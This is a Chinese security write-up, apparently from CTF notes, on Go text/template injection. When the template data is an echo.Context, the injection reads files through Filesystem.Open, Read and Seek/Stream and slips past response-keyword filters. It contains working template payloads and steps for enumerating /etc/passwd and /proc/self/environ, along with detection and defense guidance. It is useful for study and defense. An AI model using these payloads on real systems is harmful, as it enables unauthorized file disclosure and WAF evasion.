Go text/template 注入利用 echo.Context 方法链读文件:Filesystem.Open + Read 成数字数组、Seek 跳过前缀 + Stream 直接回显
web/golang · verified
一句话结论
Go 的 text/template 会把 {{ .X.Y }} 解析为字段/方法链、把 {{ .F arg }} 反射调用导出方法;当 SSTI 的渲染数据是 echo.Context 时,{{ .Echo.Filesystem.Open "/flag" }} 能拿到文件的 fs.File,再用模板源码本身作为 []byte 缓冲执行 {{ $f.Read $a }} 读出内容(打印为 [102 108 ...] 数字数组,天然不含 flag{ 字样),或 {{ $f.Seek 4 0 }} 跳过 flag 前缀后 {{ .Stream 200 "text/html" $f }} 把文件直接写进 HTTP 响应——从而绕过“响应出现 flag 就 403”的代理/WAF。
原理
- 模板即反射调用面:
text/template对{{ .Echo }}取导出字段,对{{ .Echo.Filesystem.Open "/flag" }}逐级取字段并调用导出方法;方法参数按实际类型匹配(string参数传字符串)。可见的数据对象决定了可调用的 gadget。 - echo.Context 暴露的能力:
echo.Context的Echo字段(*echo.Echo)带Filesystem fs.FS;fs.FS.Open(name)返回fs.File,其接口有Read([]byte) (int, error)、Stat()、Close();具体实现(os.File)还提供Seek(offset, whence)。这些方法都能在模板里直接调用。 - 用模板源码当读缓冲:
Read需要[]byte参数,而 Go 模板不会把字符串自动转成[]byte。题目中间件恰好把模板源码以[]byte形式放进上下文(c.Set("template", buf)),于是{{ $a := .Get "template" }}取回同一个[]byte;{{ $b := .Echo.Filesystem.Open "/flag" }}{{ $c := $b.Read $a }}把文件读进$a。 - 数字数组绕过内容过滤:模板输出
{{ $a }}时,[]byte默认按[102 108 97 103 123 ...]形式渲染,响应里没有连续的flag{,基于字节串匹配的 proxy/WAF(如/flag\{.*\}/正则)不会命中;攻击者本地把数字还原成字节即可。 - Seek + Stream 更直接:
{{ $f.Seek 4 0 }}把读位置移到第 4 字节(flag之后),再{{ .Stream 200 "text/html" $f }}——echo.Context.Stream(code, contentType, r)内部io.Copy(response, r)并设置 Content-Type,文件剩余内容直接进入响应,连 byte 转换都省了,且响应不含flag前缀。 - 为什么是 SSTI:用户可控的
Template头被当作模板源码template.New("page").Parse(tmplStr),解析阶段执行{{ }};渲染数据c(echo.Context)把所有导出方法暴露给模板。
触发条件
- Go Web 应用把用户输入(Header/参数/文件内容)当作模板源码
template.Parse,而不是作为Execute的数据。 - 渲染数据是
echo.Context或其它带危险方法/字段的对象(文件系统、HTTP 客户端、exec 封装等)。 - 模板引擎默认允许方法调用(
text/template默认允许导出方法)。 - 应用存在基于响应内容的关键字过滤(如检测
flag{),可用数字数组/Seek 等方式绕过。 - 仅用于授权测试。
利用步骤
- 确认注入点:提交含
{{ . }}/{{ .Echo }}的模板,观察是否被解析执行(错误回显/字段值)。 - 枚举可用对象:
{{ .Echo }}、{{ .Echo.Filesystem }}、{{ .Get "template" }}等,确认字段与方法存在。 - 打开目标文件:
{{ $b := .Echo.Filesystem.Open "/flag" }};若直接输出被过滤,改用 Read 读入[]byte或 Seek 跳过前缀。 - 构造读取:
{{ $a := .Get "template" }} {{ $c := $b.Read $a }},打印{{ $a }}得到数字数组,本地还原;或{{ $f.Seek 4 0 }} {{ .Stream 200 "text/html" $f }}直接回显。 - 若文件路径未知,枚举
/proc/self/environ、/etc/passwd、应用配置或环境变量;结合Stat/错误信息判断存在性。 - 记录响应与还原结果,评估是否有其他方法(exec/http)可用于命令执行或 SSRF。
PoC
// 漏洞模式(简化)
userTemplate := c.Request().Header.Get("Template")
buf = []byte(userTemplate)
tmplStr := string(buf)
t, _ := template.New("page").Parse(tmplStr) // 用户输入成为模板源码
bufOut := new(bytes.Buffer)
t.Execute(bufOut, c) // 渲染数据是 echo.Context
# 1) 直接读(可能被内容过滤拦截)
{{ .File "/flag" }}
# 2) 经 fs.FS + Read 读入 []byte,输出数字数组
{{ $a := .Get "template" }}
{{ $b := .Echo.Filesystem.Open "/flag" }}
{{ $c := $b.Read $a }}
{{ $a }}
# 3) Seek 跳过 "flag" 四字节前缀 + Stream 直接回显
{{ $f := .Echo.Filesystem.Open "/flag" }} {{ $f.Seek 4 0 }} {{ .Stream 200 "text/html" $f }}
# Read 输出形如(不含 flag 字面量,绕过代理正则)
[102 108 97 103 123 ... 125]
# Stream 响应(跳过前 4 字节后)
{...flag 内容...}
变体与关联
- 变体:渲染数据可能是
*http.Request({{ .URL }}、{{ .Header }})、自定义结构体(带 exec/HTTP 方法的 Helper)或echo.Context;先枚举方法(VSCode/文档/Go 反射)再找文件读写、命令执行、SSRF 原语。 - 变体:没有
[]byte缓冲时,可用Seek+Stream,或用模板内置printf "%s"逐字节/切片转换;也可把文件读进字符串方法返回。 - 变体:内容过滤可被数字数组、base64/hex 编码、切片(
slice函数)、Seek 偏移等多种方式绕过;防御不能依赖响应字符串匹配。 - 关联:[[web-golang-text-template-method-call-curl-gopher-ssrf-localfile]](同一“模板方法调用”原理,利用 Helper.Curl 做 SSRF/文件读取)、[[web-golang-gopherblog-sqli-jwt-template-method-rce]](模板调用 Mailer 方法命令注入)、[[web-golang-go-template-funcmap-exec-b64decode-rce]](funcmap 注入命令执行)。
检测与防御
- 检测:审计
template.Parse/ParseFiles的输入来源,用户可控即高危;监控模板内容中的{{、.Echo、.Filesystem、.Stream、Read、Seek等特征;关注响应中出现数字数组/异常 Content-Type。 - 防御:绝不把用户输入作为模板源码;用
Execute传数据并预编译固定模板;模板数据避免传入带文件/网络/命令能力的对象(用最小视图结构体);开启模板沙箱(如只注册白名单函数);响应过滤作为纵深而非唯一防线;限制应用进程文件权限。 - 说明:本文是 Go text/template 注入利用 echo.Context 方法链读取文件的场景,severity high;仅用于授权测试。